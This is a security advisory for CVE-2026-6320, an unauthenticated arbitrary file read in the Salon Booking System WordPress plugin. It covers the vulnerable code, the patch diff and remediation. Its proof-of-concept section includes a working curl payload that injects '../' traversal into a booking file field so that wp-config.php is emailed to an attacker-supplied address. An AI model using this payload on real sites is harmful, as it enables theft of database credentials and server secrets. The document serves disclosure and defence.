CVE-2026-6320: Arbitrary File Read in Salon Booking System
Table of Contents
CVE-2026-6320 is a CVSS 7.5 (High) unauthenticated arbitrary file read vulnerability in the Salon Booking System – Free Version WordPress plugin. An unauthenticated attacker can submit path traversal sequences in the booking form’s file fields and receive any server file — including wp-config.php or /etc/passwd — as an attachment in the booking confirmation email.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Salon Booking System – Free Version |
| Plugin Slug | salon-booking-system |
| CVE ID | CVE-2026-6320 |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Vulnerability Type | Unauthenticated Arbitrary File Read via Booking File Field Path Traversal |
| Affected Versions | <= 10.30.25 |
| Patched Version | 10.30.26 |
| Published | May 1, 2026 |
| Researcher | daroo |
| Wordfence Advisory | Link |
Description
An unauthenticated attacker can read any file on the server and receive its contents as an email attachment. The Salon Booking System plugin accepts arbitrary file-path strings in its booking form’s file fields. It stores these strings without validation, then uses them directly as email attachment paths when sending booking confirmation emails. Because no authentication is required to submit the booking form, any remote attacker can exfiltrate sensitive server files — such as /etc/passwd, WordPress configuration files, or private key material — simply by completing a booking.
This vulnerability affects all plugin versions up to and including 10.30.25.
Technical Analysis
Vulnerable Code Path
The attack starts at the booking form’s Details step. The plugin renders a file-type custom checkout field as an HTML <input type="file">. When the form is submitted, the PHP handler reads the field value directly from $_POST['sln'] with no validation:
File: src/SLN/Shortcode/Salon/DetailsStep.php (line 127–128)
$values = $_POST['sln']; // No sanitization; attacker controls all values
$this->bindValues($values);
The bindValues() method in src/SLN/Shortcode/Salon/AbstractUserStep.php (lines 196–203) then stores the raw value as a file path:
if (!empty($field) && $field->get('type') === 'file' && is_array($data)) {
$data = array_map(function($file) {
return array(
'subdir' => wp_upload_dir()['subdir'], // e.g. /2026/05
'file' => $file, // ATTACKER CONTROLLED — no basename()
);
}, $data);
}
$bb->set($fieldName, SLN_Func::filter($data, $filter));
The same unsanitized storage occurs in two additional code paths:
AbstractUserStep::successRegistration()at line 37–42 (new user registration flow)DetailsStep::dispatchForm()at line 179–184 (logged-in user update flow)
The stored path is later used in src/SLN/Plugin.php (line 147) when constructing email attachments:
$settings['attachments'][] = implode('/', array_filter(array(
wp_get_upload_dir()['basedir'], // e.g. /var/www/html/wp-content/uploads
trim($f['subdir'], '/'), // e.g. 2026/05
$f['file'] // ATTACKER CONTROLLED — e.g. ../../../../../../etc/passwd
)));
This concatenated path is passed directly to wp_mail() as an attachment:
wp_mail($settings['to'], $settings['subject'], $content, $headers, $settings['attachments']);
PHPMailer (used by WordPress’s wp_mail) reads the file from disk and attaches it to the outgoing email.
Root Cause
The plugin stores the file value from $_POST['sln'] without calling basename() or any path-sanitization function. It later constructs a filesystem path from this value with no containment check. Any ../ sequences in the value traverse outside the uploads directory.
Why Existing Controls Failed
The plugin provides a separate AJAX endpoint (SLN_Action_Ajax_UploadFile) for actual file uploads. That endpoint correctly requires authentication and validates the uploaded file. However, the main booking form submission ($_POST['sln']) is entirely independent. The plugin never verifies that the file-field value submitted in the booking form matches a file that was actually uploaded through the secure AJAX endpoint. An attacker skips the AJAX upload entirely and POSTs an arbitrary string — including path traversal sequences — directly in the booking form.
Attack Impact
An unauthenticated attacker can read any file that the web server process can access and receive it by email. The worst-case outcome is full server compromise through exfiltration of WordPress wp-config.php (database credentials), /etc/passwd (user enumeration), SSH private keys, .env files, or application secrets. Because the attacker controls the email recipient address through the booking form, no existing account or session is needed.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress site with the
salon-booking-systemplugin installed and activated, version <= 10.30.25 - At least one custom checkout field of type
fileconfigured in the plugin’s settings (Booking → Additional Fields) - Guest checkout enabled, or the attacker creates a customer account (free, no email verification required in default configuration)
- The attacker controls the email address entered in the booking form
Step-by-Step Reproduction
Step 1: Identify the file field key
Visit the salon booking page in a browser and open the Details step. Inspect the HTML to find the file upload input’s name attribute:
<input type="file" name="sln[custom_photo][]" ...>
The field key in this example is custom_photo. Note the key — you will use it in Step 3.
Step 2: Complete the first booking steps normally
Navigate through the booking flow (select service, date, time) in a browser. Stop at the Details step — do not submit it through the browser yet. Use the browser’s developer tools (Network tab) to copy the full POST URL and any required cookies or session tokens.
Step 3: Submit the Details step with a traversal payload
Replace the file field value in the POST body with path traversal sequences targeting the file you want to read. Use a sufficient number of ../ segments to exit the uploads directory. For a typical WordPress installation at /var/www/html/, use 8 or more ../ sequences.
# Replace <SITE_URL>, <FIELD_KEY>, and cookie values with your actual values.
# This targets wp-config.php which holds database credentials.
curl -s -c /tmp/sln-cookies.txt -b /tmp/sln-cookies.txt \
-X POST "<SITE_URL>/?page_id=<BOOKING_PAGE_ID>" \
--data-urlencode "sln[firstname]=Test" \
--data-urlencode "sln[lastname]=User" \
--data-urlencode "sln[email]=attacker@example.com" \
--data-urlencode "sln[phone]=+1234567890" \
--data-urlencode "sln[no_user_account]=1" \
--data-urlencode "sln[<FIELD_KEY>][]=../../../../../../../../wp-config.php" \
--data-urlencode "sln_step=details"
Note: The
no_user_account=1parameter enables guest checkout. If guest checkout is disabled, first create a customer account via the plugin’s registration form, then authenticate using the login form at the Details step.
Step 4: Proceed to the Summary step and confirm the booking
After the Details step succeeds, navigate to the Summary step in the browser (or replay the form submission via curl). Confirm the booking. This triggers SLN_Service_Messages::sendSummaryMail(), which calls SLN_Plugin::sendMail().
Step 5: Receive the exfiltrated file
Check the email inbox for the address submitted in Step 3. The booking confirmation email will contain the target file (wp-config.php) as an email attachment.
Expected Result
The attacker receives a standard booking confirmation email with the target server file attached. The attachment contains the full plaintext contents of the file (for example, wp-config.php includes the WordPress database username, password, host, and secret keys).
Verification
Open the email attachment. For wp-config.php, look for lines like:
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wp_user' );
define( 'DB_PASSWORD', 'secret_password' );
define( 'AUTH_KEY', '...' );
If these values are present in the attachment, the exploit succeeded. The same technique works for any file readable by the web server process, including /etc/passwd, .env files, and SSH private keys.
Patch Analysis
What Changed
The patch modifies four locations across three files:
src/SLN/Shortcode/Salon/AbstractUserStep.php(two locations): The patch addsbasename((string) $file)to strip directory components from the file value at the point it is stored in bothsuccessRegistration()andbindValues().src/SLN/Shortcode/Salon/DetailsStep.php: The patch addsbasename((string) $file)at the point where logged-in users update their file-field profile data.src/SLN/Plugin.php: The patch adds a defense-in-depth check at the email-sending layer. It appliesbasename()to the stored value again, then callsrealpath()and checks that the resolved path starts with the uploads base directory.
Fix Explanation
The patch fixes the root cause (unsanitized storage) and adds a second layer at the usage point. The basename() call strips all directory path segments, leaving only the filename. Even if an attacker submits ../../../../etc/passwd, basename() reduces it to passwd — a harmless filename that will not resolve to a sensitive path.
The additional realpath() + strpos() containment check in Plugin.php provides defense-in-depth: even if a future code path stores a value without basename(), the attachment builder will reject any path that resolves outside the uploads directory. This means neither old stored data with traversal sequences nor any future regression can trigger the exfiltration.
There are no residual risks from this specific patch — the fix is applied at all three storage locations and hardened at the usage layer.
Code Diff (Key Changes)
--- a/src/SLN/Shortcode/Salon/AbstractUserStep.php
+++ b/src/SLN/Shortcode/Salon/AbstractUserStep.php
@@ -37,7 +37,7 @@ abstract class SLN_Shortcode_Salon_AbstractUserStep
$data = array_map(function($file) {
return array(
'subdir' => wp_upload_dir()['subdir'],
- 'file' => $file,
+ 'file' => basename((string) $file),
);
}, $values[$k]);
@@ -197,7 +197,7 @@ abstract class SLN_Shortcode_Salon_AbstractUserStep
$data = array_map(function($file) {
return array(
'subdir' => wp_upload_dir()['subdir'],
- 'file' => $file,
+ 'file' => basename((string) $file),
);
}, $data);
--- a/src/SLN/Shortcode/Salon/DetailsStep.php
+++ b/src/SLN/Shortcode/Salon/DetailsStep.php
@@ -179,7 +179,7 @@ class SLN_Shortcode_Salon_DetailsStep
$data = array_map(function($file) {
return array(
'subdir' => wp_upload_dir()['subdir'],
- 'file' => $file,
+ 'file' => basename((string) $file),
);
}, $values[$k]);
--- a/src/SLN/Plugin.php
+++ b/src/SLN/Plugin.php
@@ -138,10 +138,13 @@ class SLN_Plugin
$settings['attachments'] = array();
$additional_fields = SLN_Enum_CheckoutFields::additional();
+ $uploads_basedir = realpath(wp_get_upload_dir()['basedir']);
foreach($additional_fields as $field){
if($field['type'] === 'file' && isset($data['booking'])){
$attachments = $data['booking']->getMeta($field['key']);
if(is_array($attachments)){
foreach($data['booking']->getMeta($field['key']) as $f){
if($f){
- $settings['attachments'][] = implode('/', array_filter(array(wp_get_upload_dir()['basedir'], trim($f['subdir'], '/'), $f['file'])));
+ $candidate = implode('/', array_filter(array(wp_get_upload_dir()['basedir'], trim($f['subdir'], '/'), basename((string) $f['file']))));
+ $real = realpath($candidate);
+ if ($real && $uploads_basedir && strpos($real, $uploads_basedir) === 0) {
+ $settings['attachments'][] = $real;
+ }
}
}
}
Timeline
| Date | Event |
|---|---|
| Unknown | Vulnerability discovered and reported by daroo |
| May 1, 2026 | Publicly disclosed by Wordfence |
| May 1, 2026 | Patched version 10.30.26 released |
Remediation
Update the salon-booking-system plugin to version 10.30.26 or later.
If an immediate update is not possible, disable all custom checkout fields of type file in the plugin’s admin settings (Booking → Additional Fields) as a temporary mitigation.
References
Frequently Asked Questions
What is CVE-2026-6320?
CVE-2026-6320 is a CVSS 7.5 High severity unauthenticated arbitrary file read vulnerability in the Salon Booking System – Free Version WordPress plugin that lets a remote attacker read any file on the server and receive it as an email attachment.
Which versions of Salon Booking System – Free Version are affected by CVE-2026-6320?
All versions up to and including 10.30.25 are affected. Version 10.30.26 contains the fix and is no longer vulnerable.
What can an attacker do with CVE-2026-6320?
An attacker can read any file the web server can access — such as wp-config.php, /etc/passwd, SSH private keys, or .env files — and receive its full contents as an attachment in a booking confirmation email. This can lead to full server compromise through stolen database credentials or secret keys.
Does an attacker need to be logged in to exploit CVE-2026-6320?
No. The vulnerability is unauthenticated. Any remote visitor can exploit it by submitting the booking form without creating an account or logging in.
How do I fix CVE-2026-6320 in Salon Booking System – Free Version?
Update the Salon Booking System plugin to version 10.30.26 or later. You can do this from the Plugins screen in your WordPress admin dashboard or by downloading the latest version from wordpress.org.
Has Salon Booking System – Free Version been patched for CVE-2026-6320?
Yes. The developers released version 10.30.26 on May 1, 2026, which fixes the vulnerability by applying basename() to strip path traversal sequences from file field values before they are stored or used as email attachments.